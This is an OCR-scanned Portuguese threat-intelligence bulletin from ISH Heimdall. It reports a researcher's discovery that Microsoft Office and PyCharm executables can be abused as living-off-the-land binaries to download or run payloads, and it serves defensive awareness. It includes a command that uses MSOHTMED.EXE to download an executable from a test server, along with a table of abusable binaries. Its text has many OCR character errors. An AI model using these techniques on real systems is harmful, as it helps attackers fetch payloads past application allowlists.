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Receba alertas e informagdes sobre seguranga
cibernética e ameacas rapidamente, por meio do
nosso Twitter.

Heimdall Security Research

‘heimdarl’l

Heimdall Security Research

A conta oficial do grupo de Threat Intelligence da ISH.
Conheca mais do que fazemos aqui:

Acesse boletins didrios sobre agentes de ameagas,
malwares, indicadores de comprometimentos, TTPs e
outras informacdes no site da ISH.

Boletins de Seguranca — Heimdall

Malware

Malware Ransomware

CONTAS DO FACEBOOK SAD INVADIDAS ALERTA PARA RETORNO DO MALWARE GRUPO DE RANSOMWARE CLOP
POR EXTENSOES MALICIOSAS DE EMOTET! EXPLORANDO VULNERABILIDADE PARA
NAVEGADORES NOVAS VITIMAS
0 malware Emotet ap6s permanecer alguns
Descoberto recentemente que atores meses sem operagdes retornou cou outro 0 grupo de Ransomware conhecido como

s utilizam extensdes de meio de propagagdo, via OneNote e também ClOp esta explorando ativamente a

s para realizar o roubo de cookies dos métodos ja conhecidos via Planilhas e vulnerabilidade conhecida como

es como o Facebook. A Documentos do Microsoft Office CVE-2023-0669, na qual realizou o ataque a
iosa é oferecida como um diversas organizagGes e expos os dados no
anexo do ChatGPT. site de data |eaks.
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1 INTRODUGCAO

A lista de arquivos LOLBAS (Living-on-the-Land-Binaries and
Scripts), ou seja, os binarios e scripts legitimos presentes no Windows que
podem ser utilizados para fins maliciosos em breve incluirad os principais
executdveis para o cliente de e-mail Outlook e o sistema de
gerenciamento de banco de dados Access.

Além disso, foi confirmado que o executavel principal do aplicativo
Microsoft Publisher pode baixar cargas uteis de um servidor remoto.

O projeto LOLBAS, atualmente lista mais de 150 binarios, bibliotecas
e scripts relacionados ao Windows que podem ajudar os atores maliciosos
a executar ou baixar arquivos maliciosos ou ignorar listas de programas
aprovados.

O pesquisador Nir Chako, da empresa Pentera, descobriu novos
arquivos LOLBAS observando os executaveis no pacote do Microsoft
Office.

| » Search Results in Office16 v G O *exe

r:l protocolhandler.exe
== officeappguardwin32.exe
@] msoasb.exe

[ msoadfsh.exe

u-‘? lynchtmlconv.exe
(8) lync99.exe

(&) lyncexe

EWl excelcnv.exe

[ Wordconv.exe

Il WINWORD.EXE
[W]VPREVIEW.EXE

(S) UcMapi.exe
[HSKYPESERVER.EXE
(i SETLANG.EXE

(5] SELFCERT.EXE

[l SDXHelper.exe
BESCANPST.EXE

[l PerfBoost.exe

I3y POWERPNT.EXE
F] PDFREFLOW.EXE
W] OfficeSecrSanBroker.exe
[ OfficeScrBroker.exe
(8) OcPubMgr.exe

3% OUTLOOK.EXE

2] ORGCHART EXE
0] ONENOTEM.EXE

I ONENOTE.EXE

B NAMECONTROLSERVER.EXE

&M MSQRY32.EXE

I3 MSPUB.EXE

“WIMSOSREC.EXE E XLICONS.EXE

"B MSOHTMED.EXE Il WORDICON.EXE
Il MSACCESS.EXE @y PPTICO.EXE
"W |EContentService.exe ’?’ misc.exe

“GR}-\PH.EXE mACCICONS.[)(E
B3 EXCELEXE

"B CNFNOT32.EXE

@ CLVIEW.EXE

"B’ Microsoft.Mashup.Container.exe

"B Microsoft. Mashup.Container.NetFX45.exe

"B Microsoft. Mashup.Container.NetFX40.exe

"B Microsoft.Mashup.Container.Loader.exe

"B SDXHelperBgt.exe

M OLCFG.EXE

"B AppSharingHookControllert4.exe

Figura 1 — Arquivos Microsoft Office.
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O pesquisador testou todos manualmente e encontrou trés
“MsoHtmEd.exe, MSPub.exe e PortocolHandler.exe” que poderiam ser
utilizados como downloaders para arquivos de tericeiros, ajustando-se
assim aos critérios do LOLBAS.

Para comprovar os fatos, o pesquisador realizou a execugdo do
MsoHtmEd realizando requisi¢des para um servidor HTTP de teste com
uma solicitacdo GET, indicando a tentativa de realizar o download de um
arquivo.

" Command Prompt

c:\Program Files\Microsoft Office\root\Officel6>MSOHTMED.EXE http://localhost:9090/Pentera-test.exe

c:\Program Files\Microsoft Office\root\Officel6>

Command Prompt - python

C:\Users\Nir Chako\BlackHat>python —-m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
127.0.0.1 - - [10/Apr/2023 23:40:40] "GET /Pentera-test.exe HTTP/1.1" 200 -

Figura 2 — Caso de uso com a ferramenta MSOHTMED.exe.

Além dos mencionados, o pesquisador descobriu mais 11 novos
arquivos com funcionalidades de download e execugéo que atnedem aos
principios do projeto LOLBAS.

LOLBAS Functionality LOLBAS projectStatus

ProtocolHandler Download Aceitaram
MSPub Download Aceitaram
MsoHtmEd Download, Execute Aceitaram
PresentationHost Download Aceitaram
ConfigSecurityPolicy Download Aceitaram
InstallUtil Download Aceitaram
MSHta Download Aceitaram

Outlook Download Solicitacao de pull

MSAccess Download Solicitagao de pull
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Sftp Execute Solicitacao de pull

Scp Execute Solicitacdo de pull
Tabela 1 — 11 novos arquivos com funcionalidades de download e execugao.

Destacou-se o MSPub.exe, Outlook.exe e MSAccess.exe, que um
invasor ou pentest pode utilizar para baixar arquivos de terceiros.

Embora o MSPub tenha confirmado que pode baixar cargas
arbitrarias de um servidor remoto, os outros dois ainda ndo foram
adicionados a lista do LOLBAS.
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2 NOVAS FONTES LOLBAS

Além dos binarios da Microsoft, o pesquisador também encontrou
arquivos de outros desenvolvedores que atendem aos critérios LOLBAS,
sendo um exemplo o popular pacote PyCharm para desenrolvimento
Python.

> This PC » Windows (C:) » Program Files > JetBrains » PyCharm 2022.1.2 > bin

% B%H

icons brokenPlugin elevator.exe format.bat fsnotifier.exe fsnotifier-wsl
s.db

Figura 3 — Executdvel assinado na pasta de instalagdo do PyCharm.

A pasta de instalacdo do PyCharm contém o arquivo “Elevator.exe”
que pode executar arquivos binarios com privilégios elevados. Além disso,
o arquivo WinProcessListHelper.exe podera servir para fins de
reconhecimento, enumerando todos os processos em execugdo no
sistema.

Portanto, podemos concluir que entender e conhecer as ameacas
LOLBAS é importante, visto que poderédo ser monitoradas para verificar a
sua utilizacao para fins ilicitos ou agdes maliciosas por um ator malicioso.
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